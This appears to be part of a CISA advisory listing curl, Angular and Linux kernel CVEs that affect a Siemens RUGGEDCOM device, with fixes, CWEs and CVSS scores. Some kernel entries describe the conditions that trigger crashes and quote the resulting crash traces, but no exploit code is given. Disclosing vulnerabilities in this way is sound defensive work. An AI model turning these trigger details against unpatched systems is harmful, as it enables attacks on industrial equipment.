<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-3784</a></h3>
<div class="csaf-accordion-content">
<p>curl would wrongly reuse an existing HTTP proxy connection doing CONNECT to a server, even if the new request uses different credentials for the HTTP proxy. The proper behavior is to create or use a separate connection.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-3784">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/305.html">CWE-305 Authentication Bypass by Primary Weakness</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22610</a></h3>
<div class="csaf-accordion-content">
<p>Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to versions 19.2.18, 20.3.16, 21.0.7, and 21.1.0-rc.0, a cross-site scripting (XSS) vulnerability has been identified in the Angular Template Compiler. The vulnerability exists because Angular’s internal sanitization schema fails to recognize the href and xlink:href attributes of SVG elements as a Resource URL context. This issue has been patched in versions 19.2.18, 20.3.16, 21.0.7, and 21.1.0-rc.0.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22610">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22976</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: sch_qfq: Fix NULL deref when deactivating inactive aggregate in qfq_reset `qfq_class-&gt;leaf_qdisc-&gt;q.qlen &gt; 0` does not imply that the class itself is active. Two qfq_class objects may point to the same leaf_qdisc. This happens when: 1. one QFQ qdisc is attached to the dev as the root qdisc, and 2. another QFQ qdisc is temporarily referenced (e.g., via qdisc_get() / qdisc_put()) and is pending to be destroyed, as in function tc_new_tfilter. When packets are enqueued through the root QFQ qdisc, the shared leaf_qdisc-&gt;q.qlen increases. At the same time, the second QFQ qdisc triggers qdisc_put and qdisc_destroy: the qdisc enters qfq_reset() with its own q-&gt;q.qlen == 0, but its class's leaf qdisc-&gt;q.qlen &gt; 0. Therefore, the qfq_reset would wrongly deactivate an inactive aggregate and trigger a null-deref in qfq_deactivate_agg: [ 0.903172] BUG: kernel NULL pointer dereference, address: 0000000000000000 [ 0.903571] #PF: supervisor write access in kernel mode [ 0.903860] #PF: error_code(0x0002) - not-present page [ 0.904177] PGD 10299b067 P4D 10299b067 PUD 10299c067 PMD 0 [ 0.904502] Oops: Oops: 0002 [#1] SMP NOPTI [ 0.904737] CPU: 0 UID: 0 PID: 135 Comm: exploit Not tainted 6.19.0-rc3+ #2 NONE [ 0.905157] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014 [ 0.905754] RIP: 0010:qfq_deactivate_agg (include/linux/list.h:992 (discriminator 2) include/linux/list.h:1006 (discriminator 2) net/sched/sch_qfq.c:1367 (discriminator 2) net/sched/sch_qfq.c:1393 (discriminator 2)) [ 0.906046] Code: 0f 84 4d 01 00 00 48 89 70 18 8b 4b 10 48 c7 c2 ff ff ff ff 48 8b 78 08 48 d3 e2 48 21 f2 48 2b 13 48 8b 30 48 d3 ea 8b 4b 18 0 Code starting with the faulting instruction =========================================== 0: 0f 84 4d 01 00 00 je 0x153 6: 48 89 70 18 mov %rsi,0x18(%rax) a: 8b 4b 10 mov 0x10(%rbx),%ecx d: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx 14: 48 8b 78 08 mov 0x8(%rax),%rdi 18: 48 d3 e2 shl %cl,%rdx 1b: 48 21 f2 and %rsi,%rdx 1e: 48 2b 13 sub (%rbx),%rdx 21: 48 8b 30 mov (%rax),%rsi 24: 48 d3 ea shr %cl,%rdx 27: 8b 4b 18 mov 0x18(%rbx),%ecx ... [ 0.907095] RSP: 0018:ffffc900004a39a0 EFLAGS: 00010246 [ 0.907368] RAX: ffff8881043a0880 RBX: ffff888102953340 RCX: 0000000000000000 [ 0.907723] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 [ 0.908100] RBP: ffff888102952180 R08: 0000000000000000 R09: 0000000000000000 [ 0.908451] R10: ffff8881043a0000 R11: 0000000000000000 R12: ffff888102952000 [ 0.908804] R13: ffff888102952180 R14: ffff8881043a0ad8 R15: ffff8881043a0880 [ 0.909179] FS: 000000002a1a0380(0000) GS:ffff888196d8d000(0000) knlGS:0000000000000000 [ 0.909572] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 0.909857] CR2: 0000000000000000 CR3: 0000000102993002 CR4: 0000000000772ef0 [ 0.910247] PKRU: 55555554 [ 0.910391] Call Trace: [ 0.910527] [ 0.910638] qfq_reset_qdisc (net/sched/sch_qfq.c:357 net/sched/sch_qfq.c:1485) [ 0.910826] qdisc_reset (include/linux/skbuff.h:2195 include/linux/skbuff.h:2501 include/linux/skbuff.h:3424 include/linux/skbuff.h:3430 net/sched/sch_generic.c:1036) [ 0.911040] __qdisc_destroy (net/sched/sch_generic.c:1076) [ 0.911236] tc_new_tfilter (net/sched/cls_api.c:2447) [ 0.911447] rtnetlink_rcv_msg (net/core/rtnetlink.c:6958) [ 0.911663] ? __pfx_rtnetlink_rcv_msg (net/core/rtnetlink.c:6861) [ 0.911894] netlink_rcv_skb (net/netlink/af_netlink.c:2550) [ 0.912100] netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1344) [ 0.912296] ? __alloc_skb (net/core/skbuff.c:706) [ 0.912484] netlink_sendmsg (net/netlink/af ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22976">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22977</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: sock: fix hardened usercopy panic in sock_recv_errqueue skbuff_fclone_cache was created without defining a usercopy region, [1] unlike skbuff_head_cache which properly whitelists the cb[] field. [2] This causes a usercopy BUG() when CONFIG_HARDENED_USERCOPY is enabled and the kernel attempts to copy sk_buff.cb data to userspace via sock_recv_errqueue() -&gt; put_cmsg(). The crash occurs when: 1. TCP allocates an skb using alloc_skb_fclone() (from skbuff_fclone_cache) [1] 2. The skb is cloned via skb_clone() using the pre-allocated fclone [3] 3. The cloned skb is queued to sk_error_queue for timestamp reporting 4. Userspace reads the error queue via recvmsg(MSG_ERRQUEUE) 5. sock_recv_errqueue() calls put_cmsg() to copy serr-&gt;ee from skb-&gt;cb [4] 6. __check_heap_object() fails because skbuff_fclone_cache has no usercopy whitelist [5] When cloned skbs allocated from skbuff_fclone_cache are used in the socket error queue, accessing the sock_exterr_skb structure in skb-&gt;cb via put_cmsg() triggers a usercopy hardening violation: [ 5.379589] usercopy: Kernel memory exposure attempt detected from SLUB object 'skbuff_fclone_cache' (offset 296, size 16)! [ 5.382796] kernel BUG at mm/usercopy.c:102! [ 5.383923] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI [ 5.384903] CPU: 1 UID: 0 PID: 138 Comm: poc_put_cmsg Not tainted 6.12.57 #7 [ 5.384903] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [ 5.384903] RIP: 0010:usercopy_abort+0x6c/0x80 [ 5.384903] Code: 1a 86 51 48 c7 c2 40 15 1a 86 41 52 48 c7 c7 c0 15 1a 86 48 0f 45 d6 48 c7 c6 80 15 1a 86 48 89 c1 49 0f 45 f3 e8 84 27 88 ff &lt;0f&gt; 0b 490 [ 5.384903] RSP: 0018:ffffc900006f77a8 EFLAGS: 00010246 [ 5.384903] RAX: 000000000000006f RBX: ffff88800f0ad2a8 RCX: 1ffffffff0f72e74 [ 5.384903] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffff87b973a0 [ 5.384903] RBP: 0000000000000010 R08: 0000000000000000 R09: fffffbfff0f72e74 [ 5.384903] R10: 0000000000000003 R11: 79706f6372657375 R12: 0000000000000001 [ 5.384903] R13: ffff88800f0ad2b8 R14: ffffea00003c2b40 R15: ffffea00003c2b00 [ 5.384903] FS: 0000000011bc4380(0000) GS:ffff8880bf100000(0000) knlGS:0000000000000000 [ 5.384903] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 5.384903] CR2: 000056aa3b8e5fe4 CR3: 000000000ea26004 CR4: 0000000000770ef0 [ 5.384903] PKRU: 55555554 [ 5.384903] Call Trace: [ 5.384903] [ 5.384903] __check_heap_object+0x9a/0xd0 [ 5.384903] __check_object_size+0x46c/0x690 [ 5.384903] put_cmsg+0x129/0x5e0 [ 5.384903] sock_recv_errqueue+0x22f/0x380 [ 5.384903] tls_sw_recvmsg+0x7ed/0x1960 [ 5.384903] ? srso_alias_return_thunk+0x5/0xfbef5 [ 5.384903] ? schedule+0x6d/0x270 [ 5.384903] ? srso_alias_return_thunk+0x5/0xfbef5 [ 5.384903] ? mutex_unlock+0x81/0xd0 [ 5.384903] ? __pfx_mutex_unlock+0x10/0x10 [ 5.384903] ? __pfx_tls_sw_recvmsg+0x10/0x10 [ 5.384903] ? _raw_spin_lock_irqsave+0x8f/0xf0 [ 5.384903] ? _raw_read_unlock_irqrestore+0x20/0x40 [ 5.384903] ? srso_alias_return_thunk+0x5/0xfbef5 The crash offset 296 corresponds to skb2-&gt;cb within skbuff_fclones: - sizeof(struct sk_buff) = 232 - offsetof(struct sk_buff, cb) = 40 - offset of skb2.cb in fclones = 232 + 40 = 272 - crash offset 296 = 272 + 24 (inside sock_exterr_skb.ee) This patch uses a local stack variable as a bounce buffer to avoid the hardened usercopy check failure. [1] https://elixir.bootlin.com/linux/v6.12.62/source/net/ipv4/tcp.c#L885 [2] https://elixir.bootlin.com/linux/v6.12.62/source/net/core/skbuff.c#L5104 [3] https://elixir.bootlin.com/linux/v6.12.62/source/net/core/skbuff.c#L5566 [4] https://elixir.bootlin.com/linux/v6.12.62/source/net/core/skbuff.c#L5491 [5] https://elixir.bootlin.com/linux/v6.12.62/source/mm/slub.c#L5719</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22977">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/489.html">CWE-489 Active Debug Code</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23025</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mm/page_alloc: prevent pcp corruption with SMP=n The kernel test robot has reported: BUG: spinlock trylock failure on UP on CPU#0, kcompactd0/28 lock: 0xffff888807e35ef0, .magic: dead4ead, .owner: kcompactd0/28, .owner_cpu: 0 CPU: 0 UID: 0 PID: 28 Comm: kcompactd0 Not tainted 6.18.0-rc5-00127-ga06157804399 #1 PREEMPT 8cc09ef94dcec767faa911515ce9e609c45db470 Call Trace: __dump_stack (lib/dump_stack.c:95) dump_stack_lvl (lib/dump_stack.c:123) dump_stack (lib/dump_stack.c:130) spin_dump (kernel/locking/spinlock_debug.c:71) do_raw_spin_trylock (kernel/locking/spinlock_debug.c:?) _raw_spin_trylock (include/linux/spinlock_api_smp.h:89 kernel/locking/spinlock.c:138) __free_frozen_pages (mm/page_alloc.c:2973) ___free_pages (mm/page_alloc.c:5295) __free_pages (mm/page_alloc.c:5334) tlb_remove_table_rcu (include/linux/mm.h:? include/linux/mm.h:3122 include/asm-generic/tlb.h:220 mm/mmu_gather.c:227 mm/mmu_gather.c:290) ? __cfi_tlb_remove_table_rcu (mm/mmu_gather.c:289) ? rcu_core (kernel/rcu/tree.c:?) rcu_core (include/linux/rcupdate.h:341 kernel/rcu/tree.c:2607 kernel/rcu/tree.c:2861) rcu_core_si (kernel/rcu/tree.c:2879) handle_softirqs (arch/x86/include/asm/jump_label.h:36 include/trace/events/irq.h:142 kernel/softirq.c:623) __irq_exit_rcu (arch/x86/include/asm/jump_label.h:36 kernel/softirq.c:725) irq_exit_rcu (kernel/softirq.c:741) sysvec_apic_timer_interrupt (arch/x86/kernel/apic/apic.c:1052) RIP: 0010:_raw_spin_unlock_irqrestore (arch/x86/include/asm/preempt.h:95 include/linux/spinlock_api_smp.h:152 kernel/locking/spinlock.c:194) free_pcppages_bulk (mm/page_alloc.c:1494) drain_pages_zone (include/linux/spinlock.h:391 mm/page_alloc.c:2632) __drain_all_pages (mm/page_alloc.c:2731) drain_all_pages (mm/page_alloc.c:2747) kcompactd (mm/compaction.c:3115) kthread (kernel/kthread.c:465) ? __cfi_kcompactd (mm/compaction.c:3166) ? __cfi_kthread (kernel/kthread.c:412) ret_from_fork (arch/x86/kernel/process.c:164) ? __cfi_kthread (kernel/kthread.c:412) ret_from_fork_asm (arch/x86/entry/entry_64.S:255) Matthew has analyzed the report and identified that in drain_page_zone() we are in a section protected by spin_lock(&amp;pcp-&gt;lock) and then get an interrupt that attempts spin_trylock() on the same lock. The code is designed to work this way without disabling IRQs and occasionally fail the trylock with a fallback. However, the SMP=n spinlock implementation assumes spin_trylock() will always succeed, and thus it's normally a no-op. Here the enabled lock debugging catches the problem, but otherwise it could cause a corruption of the pcp structure. The problem has been introduced by commit 574907741599 ("mm/page_alloc: leave IRQs enabled for per-cpu page allocations"). The pcp locking scheme recognizes the need for disabling IRQs to prevent nesting spin_trylock() sections on SMP=n, but the need to prevent the nesting in spin_lock() has not been recognized. Fix it by introducing local wrappers that change the spin_lock() to spin_lock_iqsave() with SMP=n and use them in all places that do spin_lock(&amp;pcp-&gt;lock). [vbabka@suse.cz: add pcp_ prefix to the spin_lock_irqsave wrappers, per Steven]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23025">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23026</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: qcom: gpi: Fix memory leak in gpi_peripheral_config() Fix a memory leak in gpi_peripheral_config() where the original memory pointed to by gchan-&gt;config could be lost if krealloc() fails. The issue occurs when: 1. gchan-&gt;config points to previously allocated memory 2. krealloc() fails and returns NULL 3. The function directly assigns NULL to gchan-&gt;config, losing the reference to the original memory 4. The original memory becomes unreachable and cannot be freed Fix this by using a temporary variable to hold the krealloc() result and only updating gchan-&gt;config when the allocation succeeds. Found via static analysis and code review.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23026">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23030</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: phy: rockchip: inno-usb2: Fix a double free bug in rockchip_usb2phy_probe() The for_each_available_child_of_node() calls of_node_put() to release child_np in each success loop. After breaking from the loop with the child_np has been released, the code will jump to the put_child label and will call the of_node_put() again if the devm_request_threaded_irq() fails. These cause a double free bug. Fix by returning directly to avoid the duplicate of_node_put().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23030">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23031</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: can: gs_usb: gs_usb_receive_bulk_callback(): fix URB memory leak In gs_can_open(), the URBs for USB-in transfers are allocated, added to the parent-&gt;rx_submitted anchor and submitted. In the complete callback gs_usb_receive_bulk_callback(), the URB is processed and resubmitted. In gs_can_close() the URBs are freed by calling usb_kill_anchored_urbs(parent-&gt;rx_submitted). However, this does not take into account that the USB framework unanchors the URB before the complete function is called. This means that once an in-URB has been completed, it is no longer anchored and is ultimately not released in gs_can_close(). Fix the memory leak by anchoring the URB in the gs_usb_receive_bulk_callback() to the parent-&gt;rx_submitted anchor.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23031">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23032</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: null_blk: fix kmemleak by releasing references to fault configfs items When CONFIG_BLK_DEV_NULL_BLK_FAULT_INJECTION is enabled, the null-blk driver sets up fault injection support by creating the timeout_inject, requeue_inject, and init_hctx_fault_inject configfs items as children of the top-level nullbX configfs group. However, when the nullbX device is removed, the references taken to these fault-config configfs items are not released. As a result, kmemleak reports a memory leak, for example: unreferenced object 0xc00000021ff25c40 (size 32): comm "mkdir", pid 10665, jiffies 4322121578 hex dump (first 32 bytes): 69 6e 69 74 5f 68 63 74 78 5f 66 61 75 6c 74 5f init_hctx_fault_ 69 6e 6a 65 63 74 00 88 00 00 00 00 00 00 00 00 inject.......... backtrace (crc 1a018c86): __kmalloc_node_track_caller_noprof+0x494/0xbd8 kvasprintf+0x74/0xf4 config_item_set_name+0xf0/0x104 config_group_init_type_name+0x48/0xfc fault_config_init+0x48/0xf0 0xc0080000180559e4 configfs_mkdir+0x304/0x814 vfs_mkdir+0x49c/0x604 do_mkdirat+0x314/0x3d0 sys_mkdir+0xa0/0xd8 system_call_exception+0x1b0/0x4f0 system_call_vectored_common+0x15c/0x2ec Fix this by explicitly releasing the references to the fault-config configfs items when dropping the reference to the top-level nullbX configfs group.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23032">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
